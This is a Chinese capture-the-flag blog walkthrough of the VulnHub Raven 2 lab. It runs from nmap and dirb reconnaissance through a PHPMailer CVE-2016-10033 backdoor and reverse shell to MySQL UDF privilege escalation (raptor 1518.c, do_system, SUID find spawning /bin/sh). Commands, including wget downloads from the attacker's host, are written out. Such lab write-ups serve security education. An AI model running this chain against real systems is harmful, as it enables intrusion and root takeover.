3-VulnHub-Raven 2

VulnHub-Raven: 2

靶机地址:https://www.vulnhub.com/entry/raven-2,269/

目标:找到四个flag.txt信息

作者:尼德霍格007

时间:2021-7-8

准备工作:kali虚拟机(NAT),raven2虚拟机(NAT)

一、信息收集

首先要确定目标机IP地址,nmap扫描

$ nmap -sP 192.168.21.0/24

image-20210708105914649

之后查看开放端口,全端口扫描

image-20210708110115602

可以看到目标机开放了22端口(SSH),80端口(HTTP)和两个其他端口(我不知道是干嘛的)

先访问80端口

image-20210708110437102

看见网页,翻一翻,没有思路。
扫一下目录
工具:dirb

dirb是一个轻量级的目录爆破工具,可以用它来快速的对目录进行一个简单的探测
dirb默认使用的爆破字典 /usr/share/dirb/wordlists/common.txt

命令:dirb http://192.168.21.133
开始爆破

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-YuQSNBMe-1625752439300)(https://i.loli.net/2021/07/08/4JcuP38BaTbO6IV.png)]

看到有一个vendor目录

image-20210708111150384

是个目录遍历

image-20210708111257793

一个一个查看

在path中发现了第一个flag

image-20210708111416576

而且得到网站绝对路径/var/www/html/vendor/

image-20210708111508646

继续找,在README.md中看到这个靶机有一个PHPMailer服务

image-20210708111731544

在VERSION中看到版本是5.2.16,推测是PHPMailer的版本

image-20210708111849783

二、开始拿shell

百度这个版本相关漏洞

image-20210708112119631

好家伙,直接搜出来一堆

使用searchsploit 搜索可以利用的漏洞

image-20210708112323222

好像搜出来的都可以用

也可以到exploit-db.com搜索

image-20210708112708822

跟着师傅们的路子走,选择40974这个

image-20210708112449509

漏洞编号是CVE 2016-10033

image-20210708112947236

将exp拷贝到当前目录

命令:cp /usr/share/exploitdb/exploits/php/webapps/40974.py .

image-20210708113101179

这里要改一些40974.py的一些参数

image-20210708114120379

头部要加上

#!/usr/bin/python

# -*- coding: utf-8 -*-

target要改成靶机的地址

backdoor就是后门文件,要和最后一个框里的名称对应

最后一个框的路径和名称要改一下,不能用默认的

执行

image-20210708114709847

我这里报错了,安装一个requests_toolbelt模块即可解决

命令:

sudo apt-get install python3-pip

image-20210708115028648

如果是python2的环境就把命令中的3去掉

执行

python3 40974.py

image-20210708115214617

访问http://192.168.21.133/contact.php,他就会自动生成一个nide.php后门文件

image-20210708115802532

开启监听(我这里由于8888端口监听不成功,就换成了4444)

image-20210708121027299

然后访问后门文件

image-20210708120958253

成功获得shell

image-20210708121302612

继续用python获取pty

python -c ‘import pty;pty.spawn("/bin/bash")’

image-20210708142438798

找了一番

image-20210708121453100

成功获得第二个flag

image-20210708121524277

查找一下,image-20210708122215748

得到两个flag,第二个我们看过了

查看第三个:

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-LrP5ULFq-1625752439315)(https://i.loli.net/2021/07/08/Wf92A7EhtJ8cZNu.png)]

最后一个flag需要提权

三、权限提升

我们去网站根目录下看看

image-20210708122738971

有个wordpress,看一下

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-Z1i5wlH2-1625752439316)(https://i.loli.net/2021/07/08/MnbAcvH5mwyqSxl.png)]

看一下配置文件

image-20210708123039683

找到了数据库的root用户名和密码

用户名为:root 

密码为:R@v3nSecurity

在这里利用Linux枚举漏洞工具LinEnum

下载地址:https://github.com/rebootuser/LinEnum

image-20210708131250100

下载完,我们用python搭建以一个简易的服务器
命令:python -m SimpleHTTPServer 6666

image-20210708131300972

把文件下载到靶机里面,给执行权限

wget http://192.168.21.128:6666/LinEnum.sh

20210708131405.png

没有错误提示说明上传成功

执行./LinEnum.sh

image-20210708131627924

可以看到mysql是用root‘用户登陆的

image-20210708131802959

使用命令:dpkg -l | grep mysqlmysql查看数据库版本是5.5.60

image-20210708133030092

也可以连接数据库查看

mysql -u root -pR@v3nSecurity

select version();

image-20210708162845742

百度找一下udf提权

image-20210708133242229

查找可用的msf

image-20210708133410276

使用第二个1518.c

拷贝出来

image-20210708133527817

编译生成so文件

命令:gcc -g -c 1518.c

image-20210708133816944

命令:gcc -g -shared -o nide.so 1518.o -lc

image-20210708133837201

-g 生成调试信息
-c 编译(二进制)
-shared:创建一个动态链接库,输入文件可以是源文件、汇编文件或者目标文件。
-o:执行命令后的文件名
-lc:-l 库 c库名

使用前面的python 6666服务传输到靶机

wget http://192.168.21.128:6666/nide.so

image-20210708133958260

然后通过mysql进行UDF提权

进入数据库

image-20210708142606378

创建数据表 foo

create table foo(line blob);

image-20210708143623039

插入数据:insert into foo values(load_file(’/tmp/nide.so’));

image-20210708144005470

Foo表成功插入二进制数据

outfile 多行导出,dumpfile一行导出
outfile会有特殊的转换,而dumpfile是原数据导出

新建存储函数

然后利用dumpfile函数把文件导出

命令:select * from foo into dumpfile ‘/usr/lib/mysql/plugin/nide3.so’;

image-20210708183936621

创建自定义函数do_system 类型是integer,别名(soname)文件名字

命令:create function do_system returns integer soname ‘nide3.so’;

image-20210708183647285

然后查询函数是否创建成功

命令:select * from mysql.func

image-20210708184041391

调用do_system函数来给find命令所有者的suid权限,使其可以执行root命令

image-20210708185703753

任意创建一个文件

image-20210708185806216

执行find命令
使用find执行 shell

命令:find finn -exec “/bin/sh” ;

image-20210708185914810

成功获得root权限!!

终于拿下这台靶机

image-20210708190025026

获得flag4

四、总结

这次复现的难度挺大的,官方说是中等难度,但是我一路打下来比昨天打的Lampiao难多了,中间遇到的问题层出不穷。首先是在利用CVE 2016-10033漏洞时,改payload文件时就弄错了好久,之后在利用Linux枚举漏洞提权时,因为不熟悉数据库的相关操作,今天下午一直卡在这里,经历了重启虚拟机,重建数据表,重新添加一台虚拟机等多种方法后,终于在最后成功在数据库建立表,创建自定义函数,导出数据,提权,获得flag4。真的挺不容易的,再接再厉吧!

  • 0
    点赞
  • 2
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

尼德霍格007

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值